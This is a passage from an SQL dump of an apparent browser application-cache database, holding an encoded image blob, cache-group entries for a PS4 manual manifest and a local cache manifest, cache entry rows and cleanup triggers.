c820e4b545688967e4411ba422aab9daf2886d415a3bb161867dbf86e2dae6e74afdf4b5cc3ebd14c0d73b97143ee15b45713d6cd444b3f4d59e86aa9b2761260489f6574d702e36c0fdfcd660d8cae738d7aa9c73dc6a863341ed78c1b762ec2809e215afae96642574882901e8c96069cedee3b2bab1b1d7342bd3873afb4d431ba6ecc6c19b54a6140cf102dfd7433a12b2441a82b46eb129cedee3b2bab1b7deaa10f07d0c95dd24c8dc64924bd259e8e0f3d43b4f4d3cd84ae9004a1ae18ad4b70b6bbefacac6ef427ae513b802ebdfe99a9d1785cb346d9b92821b042b4f4238ad0096720911e8c96061a7877df5959dde8d7af3d7300dd7ed051c7e83aae19248d2ec2809e215afae96642574812407a305a1a58d0bbfbcecafa463b8036e8a863341ed70c9212cfe40d3d43b4f4d3cd84ae9004213d182d0d38dbdd775666e3005a1fd69231795c93dbb313ef718d1aac102dfd8822746bb920d415a37509ce0ef0dd5a7c1507d0ead14c0d73b97143ee55b75713d6cd444b3f4d59e86aa9b2761260489f6574d702e36c0fdfcd663b7100ad1ecf94963a46e371cdb861e7220ce819a2a59f6e2674852408e9c16869c0d9eebeb3f2bb3880464e9754c7e8ba31b365d42a85013d43b4f4d3cd84ae9004a1ae18ad4b70b6bbefacfc090ea05168fd3353a37112496f89a7e343cf102dfd7433a12b2441a82b46eb129cedeefb482b1d40a3d3fa67a646e371cdb861e7a284c00ad1d28f2842279c81447a305a1a68e0dd7def68a503684c1b74b464741dd70c9246176140cf102dfd7433a12b2409203d182d0d2ce8dd7d2f68a503689874b564cc19d70c9212cfe40d3d43b4f4d3cd84ae9004213d182d0d38dbddf7302bd74f3e9184823eac2563e0b826b76727dee31a3558215afa1145e8d67241a82b46eb129c1de0fbd99eb17ef0e77d4928a8473335cce5c60db957d75e4d5837132dfd3465a1aba5cada4980217d96d15d0b8cb33d7cff68cf587ff0912414d4a33d16cce5c60d8957d1614d5837132dfd3465a12ba4cac2e90643946574d734e06c1bdfdffe97d6968ff4bc798d5a42411fd69231706366cba8550a037a8668e9a79b095d2109425d315a97e06c77dffffd2fad6b9fca431f508f666a1820a5b7c42b6caf31465289967ee657a12ba4cac2e90643ea8ad15d0b8cb3a57c5ff1a928a1a00f9ba9612e376e48bca20e4b545688967e4411ba422a2b9cedd490f46074d734d0c093588553f1718d1a53fbf0e31a35cce50649b9d7c35e4d5837132dfd3465a12ba4cada498021e9c1e8966960413fc86a9e8dae51c3a46b3484b9dc2029f10adbab094b2ad1d2cf3982d0155265e1748321ca32ba6b1a70f643ace9a9f8f8bd44e8c3165b981ee5b6c42bedb044658568e94714a12ba4b2daf98a62485d31ba6b8171f63d1609fc5e2264fefea43653a3ebb86675302408037a8668e9a79b099d7682d06719ad4b70f69f7000fdc1449150d087edb1602e376e48bc8a0e6bc2ba9968e9a7290b5d2155164e3718a22ca3bba6c100671d409f5cecb50ae8c35a326ccc6c19e55e517b3561dd4cb4f4d39485ae90ca6aa71b0ca92b46772db0face3a808e6a4a5a05f46133350c90d25be215b5d71823a9444b3ff3abd0155265e174832175c5e8ae0596edac03e872a9a855401f3653c35c6e909478451d96a8ac102dfd88227485545638dba921e9c1e8ae697035d11c40f7db7c6a15189bfc464398cb0d9272afbabd9ab06e265afa69ca42574895b5930043d283d12dd360e79fe0007ae662af55c0a46b8f0573b94152e255b457139654a2a59f7304a12ba4cac2e90643946574d734f8ee9fe0005a2afe3057b40ae8c3165b981ee5b6c42beab044658568e94714a12ba4b2daf98a62485d31ba6b81fde44f70008def3525ad02fab0991ae67283a4dc2b6aaf26ac9b89967e9ab2d0d55265ed24c0903ecbe84605e6001afb5251ab803e6c8f0573b94152e255745813d6cd444b3f4d59e80aa9b270bac11065195d270d1c40e3e262af55401fb6d8c2c6cc9651ee15b55713d6cd444b3f4d59e80aa9ac76bac190ba62744c1a3880467253d22a605a3353c30029bd255e517b8d31924ab4f433bf0a5d2155164e371852578c3e82036854eff55a054c6b666a98cb0d9212afa8c3129515a2a51f5184ae90ca0a673b35243d18fd091c40a3fde653abc0d8e4371ac25c6e90947bd5edd5847533d1d24f5316ba42aaac9d0418921e8cfe150ea061ced12a60d2351ac25c6e90947845edd584259568e9374491c7431fe85948bac11065c71bed001a3ad23b5dc09a00cbb1c516a647b92df18a3a2c5159215afa1145e80aa9ac76bea2185257dd8d76000d7ca4295913605a3353c35c6ec720f78adaab09eb66a2a59fa62c74b554593b0930a4cf5636da013470ac055813605ab3c782b9dc8e41e255745813d6cd444b3f4d59e80aa9b270bac11065838d76000de42cf6d604588e4d55b031b365947b45edd5847533d1d24f5316ba422aab9d6e30a4aeee19ed001a28d494ac0930ad99a9618094de12afa8bdc61849255afa995f85ae902a0ba71b0ca9ab3d463b80069a2d58d60498d6ccd43097db3148bca20e4b545688967e4411ba422a2b9cedd490f4f896d10ea081699b4f6b02c626bfd110e6723b06b957dd5e4d5837132dfd3465a12ba4cada498021e9f1b74fe4001ad094fede91ac0930e9da63c15c6ec720f12adaab094b2ad1d26f88228f873ed0b3907483a6ca3a8006f08dc5de9a00cbb1a90ae672b92df18a3a2c5159215afa1145e80aa9ac76bea2a859570ea001ec684ad60498d6ccd43097db31c8bda2f66ac2ba9968e9a7290b5d2d55d64e02e4f55907d0006ef57a6b024c6bf6583097db3148bc8a0e6bc2ba9968e9a7290b5d2155164e3738aeac036800b18bbd3501a63553156ccc6c19e55e517b3561dd4cb4f4d39485ae90ca6aa71b7c1a07d000ea2ef6d60498d6ccd4b03193de12afa8bdc61849255afa995f85ae902a0ba71bfc0e0ea001f45eb0ac0930ad99a9612eb7639078451d96a8ac102dfd88227485545638dba9ffc2013480e19b4f6b02c626bfd110e6723b06b957dd5e4d5837132dfd3465a12ba4cada8d490007d000ac59bfecf586029874edb1602eb765947815edd584259568e9374491c7431fe859485dba81036800f8f3c5de8408d39aa90ae672b92df18a3a2c5159215afa1145e80aa9ac76458270000d0007167b5f5bc3b466a686b9bce9b607fdbb9726ac9b89967e9ab2d0d55265ed028270000d0021bdde5000d39a3d166c2e6c19255e45873561dd4cb4f4d39485ae902a0bb73f0807d0005065b13721c2b4668f051b335b46b957d45e4d5837132dfd3465a12ba4b2dafd71100ea001a0cd626f428469cd4c0d1b33e92df18ada6b8c9154a2a59ff955e80aa9b270ff188403680018b5609910615a3353c3e6a2e9b607fdbb9744658568e94714a12ba492c2398006000bd67faf598ed83036f98d869896ae4d3e19742f4d5837132dfd3465a12ba4f04272000d00f8ddc5de500093ae3d166ccc6c19255e457b356149255afa0d51e4f1d007a20ac9013400e0e38bbd0911a6357b2cd8a5cb6d8957d46189ca0ad1d28f284257481fd6ce013400e0fc62ef6b6b98d6ccd41892ae4d3e19742f4d5837132dfd3465a1e3dbda39800600642e58860298d6ecb1606366cb28f12a3aac09eb66a2a59fa62c7485f4171c4003008a2ef62644d8f6d863c1c6cc9651ee15b55713d6cd444b3f4d59e88370000d00e8bad89b1061db63a6868d99f4967845ed35c6482ad1d2cffc2af43e388006004c9efc4c88b0ed3153c32ebdd22783ee255159215afa1145e8e570000d0030f9fdc362ef880d6393df4c8d69e9dae49341f7d2847533d1d24f53167a1a0ea00100f8c3c5deee0e265d7b2cd898d92d4bbc8af66ac2924ab4f41ba2c8e3a18fbb3880060060f7626f42846d8f3d16ecd2e5b6c42beab044658568e94714a1ff290ea00100b8bed8bb7f847999ff78e80333d3b5c92783eea509eb66a2a59fa62cf4f771000d004089c5deee0e265d7b2cd893da2d4bbc8a0e6bc2ba9968e9a7294f0fdd013400003d167b13226c7becb1604f6ab72cf78adaab09eb66a2a59fa6dc397407d000000c99734c88b0edb19d803da9f4967845ed35c6482ad1d2cffc5a1807d0000098733cf401c96f3b01bbf4929f0cba9744658568e947947c1c400300800f3ef461c846d7e4b79dc0b4746df2c9a07b69c2ba9968e9a7295fc701340000f8ec9c63770743be3d16ec493bec9631cf5e4d585289967e4314392d8a036800007078ce3121c2b6c71e0b76e9725be2157558a2b242b4f423ca6fe3001a0000a4cd39ee1f615ee63f1efac0cc746df2c9a07b69c2ba9968e9a729ff030ea0010040c539c7ee0e867c7b2c4c48d73e9f0cba9726ac9b89967e639bb203680000d072ce3121c2b6c71e0b25f6a43e19eab64a61c8a8666ee890f4db258a036800003073f36942846dcff632036a2691f496783a3ef40cd1d2ef93388006000026bf9f4d7e266cd8f6ecfb935410eaeed2ad0eb313ef718d1aac102dfd7e0f07d0000000dfde7c3a62c3d8e4b7c7c2b4746df2c9a07b69c2ba9968e9771e07d00000005b776d7677189bfcf6a81895ae7d3e19d8ab094b2ad1d2efb33880060000b8bb6b3361c3b6c71e1576e9725be2157558a2b242b4f4fb350ea0010000c2873ff78f302ff31f0f7d6066ba36f964d0bd3461dd4cb4f4fb6f1c4003000034d8b5d9dd616cf2dba36254baf6f964d0bd3461dd4cb473f473000d00003061f369c2864db23d2af27bb54f86d2ad521832aa991b3ae4c7f473000d000060f369c2864df28932036a2691f496783a3ef40cd1fe110ea0010000ec13de9c9c4dd8b049def727a920e4a46b9f4f06dd4ba2b242b4093880060000c0a7369f8ed83036f9ed51312d5d9b7c32e85e9ab06e26da033880060000c0c95d9bdd1dc626bf3d2a46a56b9f4f06f66ac2924ab47f88036800000044edda9c41c026d98e1c43d2556ee3778704250456948cd601340000006a0dcfee1f615ee63f1efac0cc746df2c9a07b69c2bad9f0681d40030000a0dfe6d3ee0e6393df8e1ca3d2b5cf2783eea509eb668da375000d000080819b4f6710b049b623477eaff6c950ba550a43463573e3fbd13a8006000080adc2df27676710b049de5e6640cd2492de124fc7879ef17bd13a8006000000beb74f7006019be47d7f920a424ebaf6f964d0bd242a2baee0001a000000d8b4f974c486b1c96f478e69e9dae49341f7d28475b31d3880060000002eeedaecee3036f9edc8312a5dfb7c32b057139654bf8b03680000002079d7e60c0236c97d77e490ae721b7f34242821d4b0c20134000000507aabe0fe11e665fee3a10fcc4cd7269f0cba97263cad9b398006000000da6f3eedee3036f9b377e490ae9733c8ea303bf16a38ac0977e8660ea0010000009b4f6710b0492ef3876170aff6c950ba550a636e463980060000006c157eb96b7306817999ff78e803e57ab54f06f6deeff8f83b0ea0010000007c64f3e90c026393ffc09fa4829093ae7d3e19742f897a0607d000000000ce6c3e1db1616cf29ff9c3940f72d2b5c92783eea5097f0407d00000000072766d7677189bfc07fe2415849c74edf3c9c05e4df8973880060000005068d7e60c02f392dfef256268baca6dfcee90a0844271000d000000a0cbfed3431f9899f98f873e30335d9b7c32e85eed9bb0036800000000d3369f8ed83036f90ffc492a0839e9dae79341f72a1d86036800000000369fffb36b73068179c9efa10fd4ebd53e194ab7ca416138800600000080dfddb53983c0bccc7f3cf48172bdda27037bef77fcc7013400000000ecd97c3a83c0d8e43ff027a920e4a46b9f4f06dd6b53a23a8006000000802b9b4f476c189bfc67fe30e5839c746df2c9a07b7d2f0c07d00000000010bb6b73c486b1c97fe04f5241c849d73e9f0cecfd7b180ea001000000a0e0e6f3f17b89989afc7e2f1143d3556ee3778784141c400300000040d3fda7873e3033f31f0f7d6066ba36f964e8d7bd1c4003000000c0f0cda723368c4dfe037f920a424ebaf6f964a8d5bd1c400300000080cde73f6f3e9d41605ef27be803f57ab54f86d056e9001a00000000f0879b4f67109897f98f873e50ae57fb64b863af036800000000c0f6cda733080c4efe037f920a424ebaf6f964f894bd0ea00100000000db379fbfc0356a8c4efe337f98f2414eba36f964781307d00000000080dbb8460dc9bf3da99de2a150baf6f964781c4003000000000ae0f71221f94f24b50a42d70c92db3771000d000000006881df4b84ccdf9ed44ef150285d9b7cb20638800600000000ccc0431f90fcdb93da291e0aa56b9f4f168e036800000000009ee7f1d00724ff99a4564138d3ab7db2141c400300000000f0361efa80ccdf9ed44ea8d1388926a6b7036800000000003e87873e20f9b727b5ef7850285dfb7cb26fe3001a0000000080837ceca18fc7111b9a26ff993f4cf920275d9b7cb29fe1001a0000000080305ca386e4df9ed4bee341a174adfdc91c400300000000500dbf9708c97f22a95510ba66d0d14fe6001a00000000808ef8bd44c8fced49ed841a85d2f5da2773000d00000000c0483cf401c9bf3da97dc78342e9baeb9339800600000000003fc2431f90fc27925a05e14cafbef6c91c40030000000080efe2a10fc8fced49ed841ab593c801340000000000d886873e20f9b727b5ef78109dae0ea00100000000c03d3ef6d0c7e3880d4d93ffcc1fa67cb02b5d1d400300000000806c5ca386e4df9ed4bee3c1ae2472000d00000000008ae3f71221f94f24b50ac27770000d000000000006e0f71221f3b727b5136afc0007d00000000000001efa80e43f90d4bee39988036800000000008037f0d00724ff89a45641dd70000d0000000000f0213cf40199bf3da99d5017c301340000000000c0293cf401c9bf3da97dc793850368000000000080183ef6d0c7e3880d4d93ffcc1fa67c3e86036800000000008052b8460dc9bf3da97dc7f3311c40030000000000f4c2ef2542f29f486a15f4160ea0010000000000e6e1f71221f3b727b513eae771000d0000000000801fe0a10f48feed493de23b1e07d0000000000000f87d3cf401c97f22a9cb57900368000000000000ecc1431f90f9db933afd84da01340000000000002ee1a10f48feed497df93b1e07d000000000000048e5630f7d3c0ea9d134f9cffc61dfff931c40030000000000a032ae5143f26f4feaef1f873b80060000000000406bfc5e2224ff89a4fef11fe6001a000000000000e3f17b8990f97b92da0134000000000000f02b3cf401c9ffada476000d000000000000fc311efa80e4ff110ea0010000000000802378e803f370000d00000000000064e0a10fb4c3013400000000000050848f3df4f138a4c6191c40030000000000008d708d1a4938800600000000000026e1f712711007d000000000000000fe8adf4bc48770000d000000000000e037f1d007dec30134000000000000804fe3a10f3ccfe3001a000000000000c01d3cf4310007d00000000000000022f1d0477d1c4003000000000000a8c9c71efa781c526fc2013400000000000080beb8467d1507d00000000000000006e3f71277e2001a00000000000000fe11bf97f85d1c4003000000000000c09fe1a18f9fe0001a000000000000003633f5a10f07d0000000000000001040c7873e1c400300000000000040050a3ef4e1001a000000000000005af0b1873e9e4f1d523b800600000000000080319cbd46ed001a00000000000000f06f3efa7b890ea00100000000000000bfc3dbbf97e8001a00000000000000f051fe7d42fd7f480100000000000000d881036800000000000000c0161c400300000000000000b6e0001a00000000000000b00507d000000000000000802d388006000000000000006cc1013400000000000000600b0ea001000000000000005b70000d00000000000000d8c2ff3f00efcf40b86a3ca9fd0000000049454e44ae426082',NULL);
CREATE TABLE IF NOT EXISTS `CacheGroups` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`manifestHostHash` INTEGER NOT NULL,
`manifestURL` TEXT UNIQUE,
`newestCache` INTEGER,
`origin` TEXT
);
INSERT INTO `CacheGroups` VALUES (1,7015084,'http://manuals.playstation.net/document/en/ps4/manifest.appcache',1,'http_manuals.playstation.net_0');
INSERT INTO `CacheGroups` VALUES (2,3099380,'http://cache/manifest.appcache',2,'http_cache_0');
CREATE TABLE IF NOT EXISTS `CacheEntries` (
`cache` INTEGER NOT NULL,
`type` INTEGER,
`resource` INTEGER NOT NULL
);
INSERT INTO `CacheEntries` VALUES (1,2,1);
INSERT INTO `CacheEntries` VALUES (1,4,2);
INSERT INTO `CacheEntries` VALUES (1,4,3);
INSERT INTO `CacheEntries` VALUES (1,4,4);
INSERT INTO `CacheEntries` VALUES (1,4,5);
INSERT INTO `CacheEntries` VALUES (1,4,6);
INSERT INTO `CacheEntries` VALUES (1,4,7);
INSERT INTO `CacheEntries` VALUES (1,4,8);
INSERT INTO `CacheEntries` VALUES (1,4,9);
INSERT INTO `CacheEntries` VALUES (1,4,10);
INSERT INTO `CacheEntries` VALUES (2,2,11);
INSERT INTO `CacheEntries` VALUES (2,4,12);
INSERT INTO `CacheEntries` VALUES (2,4,13);
INSERT INTO `CacheEntries` VALUES (2,4,14);
INSERT INTO `CacheEntries` VALUES (2,4,15);
INSERT INTO `CacheEntries` VALUES (2,4,16);
INSERT INTO `CacheEntries` VALUES (2,4,17);
INSERT INTO `CacheEntries` VALUES (2,4,18);
INSERT INTO `CacheEntries` VALUES (2,4,19);
INSERT INTO `CacheEntries` VALUES (2,4,20);
CREATE TABLE IF NOT EXISTS `CacheAllowsAllNetworkRequests` (
`wildcard` INTEGER NOT NULL,
`cache` INTEGER NOT NULL
);
INSERT INTO `CacheAllowsAllNetworkRequests` VALUES (1,1);
INSERT INTO `CacheAllowsAllNetworkRequests` VALUES (1,2);
CREATE TRIGGER CacheResourceDeleted AFTER DELETE ON CacheResources FOR EACH ROW BEGIN DELETE FROM CacheResourceData WHERE id = OLD.data; END;
CREATE TRIGGER CacheResourceDataDeleted AFTER DELETE ON CacheResourceData FOR EACH ROW WHEN OLD.path NOT NULL BEGIN INSERT INTO DeletedCacheResources (path) values (OLD.path); END;
CREATE TRIGGER CacheEntryDeleted AFTER DELETE ON CacheEntries FOR EACH ROW BEGIN DELETE FROM CacheResources WHERE id = OLD.resource; END;
CREATE TRIGGER CacheDeleted AFTER DELETE ON Caches FOR EACH ROW BEGIN DELETE FROM CacheEntries WHERE cache = OLD.id; DELETE FROM CacheWhitelistURLs WHERE cache = OLD.id; DELETE FROM CacheAllowsAllNetworkRequests WHERE cache = OLD.id; DELETE FROM FallbackURLs WHERE cache = OLD.id; END;
COMMIT;